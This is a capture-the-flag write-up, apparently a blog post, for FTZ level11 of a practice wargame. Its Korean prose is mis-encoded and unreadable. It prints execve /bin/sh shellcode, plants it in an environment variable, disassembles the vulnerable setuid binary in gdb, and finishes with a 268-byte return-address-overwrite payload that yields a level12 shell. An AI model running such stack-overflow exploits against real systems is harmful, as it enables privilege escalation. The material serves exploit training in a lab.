[FTZ] level11 ํ์ด
๐ก FTZ level11 ํ์ด
๋ฌธ์
๊ณ์ : level11/what!@#$?
hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
ํ์ด
bof ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค. ์ ์ฝ๋๋ฅผ ์์ฑํ์ฌ ์ ์ฝ๋ ์ฃผ์๋ก ret ์ฃผ์๋ฅผ ๋ฎ์ด ์จ์ ๊ถํ์ ํ์ทจํฉ๋๋ค.
์ ์ฝ๋๋ ๊ตฌ๊ธ๋ง ํด์ ์ฐพ์์ต๋๋ค.
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
ํ๊ฒฝ๋ณ์
์ ์ฝ๋๋ฅผ ํ๊ฒฝ๋ณ์์ ๋ฑ๋กํ์ฌ ๋ฆฌํด ์ฃผ์๋ฅผ ํ๊ฒฝ๋ณ์๋ก ๋ฐ๊พธ๋ ๋ฐฉ๋ฒ์ ๋๋ค.
1) ํ๊ฒฝ๋ณ์์ shell ์ฝ๋ ๋ฑ๋กํ๊ธฐ
[level11@ftz level11]$ export sh=$(python -c 'print("\x90"*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
2) ํ๊ฒฝ๋ณ์์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์ ์์๋ด๊ธฐ
ํ๊ฒฝ๋ณ์์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ์ด ์ฝ๋๋ฅผ ์์ฑํ์ฌ ์์๋ ๋๋ค.
env.c
#include <stdio.h>
int main(int argc, char* argv[]){
char *addr;
addr = (char*)getenv(argv[1]);
printf("located at %p\n",addr);
return 0;
}
[level11@ftz tmp]$ gcc -o env env.c
[level11@ftz tmp]$ ./env sh
located at 0xbfffff2f
3) bof ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ret ์ฃผ์ ๋ณ๊ฒฝ
[level11@ftz level11]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
(gdb)
์คํ์ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
str 256 byte
dummy 8 byte
ebp 4 byte
ret 4 byte
๋ฐ๋ผ์ 268 ๋ฐ์ดํธ์ ๋๋ฏธ๋ฅผ ๋ฃ์ด์ฃผ๊ณ , ํ๊ฒฝ๋ณ์์ ์ฃผ์๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ๋ฉ๋๋ค.
[level11@ftz level11]$ ./attackme $(python -c 'print("A"*268+"\x2f\xff\xff\xbf")')
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$
๋๊ธ๋จ๊ธฐ๊ธฐ